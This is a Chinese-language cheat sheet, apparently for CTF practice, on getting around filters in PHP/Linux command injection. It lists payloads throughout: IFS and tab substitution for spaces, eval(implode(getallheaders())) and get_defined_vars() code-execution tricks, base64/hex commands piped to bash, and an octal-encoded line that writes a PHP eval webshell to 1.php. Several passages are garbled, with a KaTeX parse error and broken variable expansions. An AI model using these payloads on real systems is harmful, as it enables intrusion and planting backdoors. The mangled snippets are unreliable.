空格过滤
IFS是Linux中的一个特殊的环境变量,就是内部字段分隔符,默认下是空格、制表符、换行符。
这个是可以自定义的,像; , . : 都可以当做字符之间的分隔符
$IFS
$IFS
9
后面的一位数字随便填
,
第二个
9 后面的一位数字随便填,第二个
9后面的一位数字随便填,第二个 起截断作用
${IFS} ${}之前说过,是可以解析变量的
{cat,flag.php} 用逗号实现空格作用
%09 %20 %0a %0b %0c %0d 这些就是制表符,换行键,换页键,回车键,空格键来代替空格
重定向符
cat *>1.txt 标准输出重定向到文件(会覆盖原文件数据)
cat *>>1.txt (追加写入文件)
cat <1.txt 文件内容作为标准输入
cat<>1.txt
2>&1 (标准输出和错误输出)
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);}
/dev/null 在Linux中代表空设备文件,向这个文件的所有写入都会丢失;
2>&1 会将所有的正确和错误的输出都写入,所以返回没有任何显示,只需要让后面的重定向输入是空就行.
payload: ls;>/dev/null ls||>/dev/null
管道
echo 1| echo 2
左边的输出结果作为右边的参数输入,也就是说左右两边都会被执行,且输出只有右边
echo 1|| echo 2
这个就是"或",只有左边为假才会执行右边
echo 1& echo 2
& 两边都会被执行,但是输出只有右边
echo 1&& echo 2
左边为真才会执行右边
查看文件内容
more:一页一页的显示文档内容
less:与more类似,也支持翻页
head:查看头几行,默认10行
tail:查看尾几行,默认10行
cat:打印到标准输出设备
tac:从最后一行开始显示,是 cat 的反向显示
nl:显示的时候,顺便输出行号
od:默认八进制的方式读取档案内容
vi:一种编辑器,这个也可以查看返回内容
vim:这个也可以
sort:排序输出
uniq:去重输出
file -f:报错输出内容
paste -s:每列合并输出
grep .* :同样可以输出文件
php中命令执行函数
system() //输出并返回最后一条语句的执行结果
passthru() //执行结果原样地直接输出到标准输出设备,浏览器页面也是
exec() //不返回执行结果
shell_exec() //通过shell环境执行命令,并且将完整的输出以字符串的方式返回,但不直接输出
popen(‘file’,‘r/w’)//返回一个单向的文件指针,只能用于读或写
proc_open(cmd,array)//PHP多进程
pcntl_exec(path[,args,envs])//进程控制函数,必须是可执行二进制文件的路径,args是参数,envs是环境变量
//这个函数厉害的地方在于突破disable_functions限制执行命令,通过查看phpinfo()会发现被禁用的函数很多都是常有的事
反引号`` //同shell_exec()
正则过滤
//举个例子
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
可以看到这里过滤了数字,没过滤字母和(),*?.`&|’ "^{}[]=$~等关键通配符和变量拼接绕过都被过滤了。可以考虑无参a()
方法1
getallheaders() //以数组的形式返回HTTP头信息
implode() //压缩数组,返回字符串
echo implode(getallheaders()); 抓包看看请求包和响应包
//请求包:
GET /test.php HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
//响应包
max-age=0?1nonenavigatedocument1closegzip, deflatezh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0127.0.0.1:8000
发现响应包返回的值就是请求头的值,所以我们如果在HTTP头加上我们的东西,是不是响应包也会带上我们的值呢
//在请求包最下面一行加上我们的HTTP头信息
Paidx0: phpinfo();//
//返回响应包
phpinfo();//max-age=0?1nonenavigatedocument1closehttp://127.0.0.1:8000/test.phpgzip, deflatezh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0127.0.0.1:8000
看见 phpinfo();后面的内容被我们的值注释掉了,是不是思路来了,如果这部分交给 eval()去执行是不是就OK了
?_=eval(implode(getallheaders()));
payload: 1、请求头添加 pram1: phpinfo();// ,implode()函数,反向压缩生成字符串,可以注释后面的参数
2、 _=eval(implode(getallheaders()));
方法2
get_defined_vars() //返回所有已定义变量的所组成的数组
array(5) { [“GET"]=> array(1) { ["”]=> string(5) “12345” } [“_POST”]=> array(0) { } [“_COOKIE”]=> array(1) { [“XDEBUG_SESSION”]=> string(14) “XDEBUG_ECLIPSE” } [“FILES"]=> array(0) { } ["”]=> string(5) “12345” }
http://127.0.0.1:8000/test.php?_=12345
我们传进去的参数值出现在了"_GET"数组中,下面只需要从这个数组中拿值就行了
current() //输出数组指针中的当前元素的值,初始指针指向第一个单元,怎么理解呢就是每个数组其实都是有一个内部指针的,是叫句柄吧,可以通过next()向后移动这个指针,reset()重新指向第一个单元
所以 current(get_defined_vars()) 就可以拿到排在二维数组第一个的"GET"数组了
array(2) { [""]=> string(5) “12345” [“a”]=> string(10) “phpinfo();” }
再用 end()拿到后面的 phpinfo();
所以就可以是这样执行命令 ?_=eval(end(current(get_defined_vars())));&a=phpinfo();
end() - 将内部指针指向数组中的最后一个元素,并输出
next() - 将内部指针指向数组中的下一个元素,并输出
prev() - 将内部指针指向数组中的上一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
无参读文件
readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv())))));
show_source(next(array_reverse(scandir(getcwd()))));
构造数字
(
(
((~
(( (()))) //-1
(
(
((~
(( ((~$(()))))) //0
(
(
((~
(( ((
(
(
((~
(( (())))
(
(
((~
(( (()))) )))) //1
(
(
((~
(( ((
(
(
((~
(( (())))
(
(
((~
(( (())))
(
(
((~
(( (()))) )))) //2
(
(
((~
(( ((
(
(
((~
(( (())))
(
(
((~
(( (())))
(
(
((~
(( (())))
(
(
((~
(( (()))) )))) //3
cat ( ( ((~ (( (( ( ( ((~ (( (()))) ( ( ((~ (( (()))) )))).txt 也就是 cat 1.txt
编码绕过
#base64
echo “Y2F0IC9mbGFn”|base64 -d|bash //cat /flag
echo “Y2F0IC9mbGFn”|base64 -d|sh //cat /flag
#hex
echo “0x636174202f666c6167”| xxd -r -p|bash //cat /flag
#8进制,16进制
$(printf “\154\163”) //ls
KaTeX parse error: Undefined control sequence: \x at position 10: (printf "\̲x̲63\x61\x74\x20\…_POST[‘c’]);?>
${printf “\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76”}>>1.php
关键字绕过
拼接绕过
a=l;b=s;
a
a
ab #ls
a=c;b=at;c=f;d=lag;
a
a
ab
c
{c}
c{d} #cat flag
a=“ccaatt”;b=
a
:
0
:
1
{a:0:1}
a:0:1{a:2:1}
a
:
4
:
1
;
{a:4:1};
a:4:1;b test #cat test
引号反斜杠绕过
c’'at test
c’a’t test
c"a"t test
ca\t test
$PATH环境变量绕过
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
截取出local中的ca和t拼接
echo $PATH| cut -c 8,9
t test //cat test
cat echo ${PATH:1:1}
.php //cat u.php
扩展符通配符绕过
cat t[a-z]st //匹配方括号中的任意一个字符,但不存在该文件时,就被当做一个普通的字符串
cat t{a,b,c,d,e}st //扩展符,不管是否存在该文件,都会展开并执行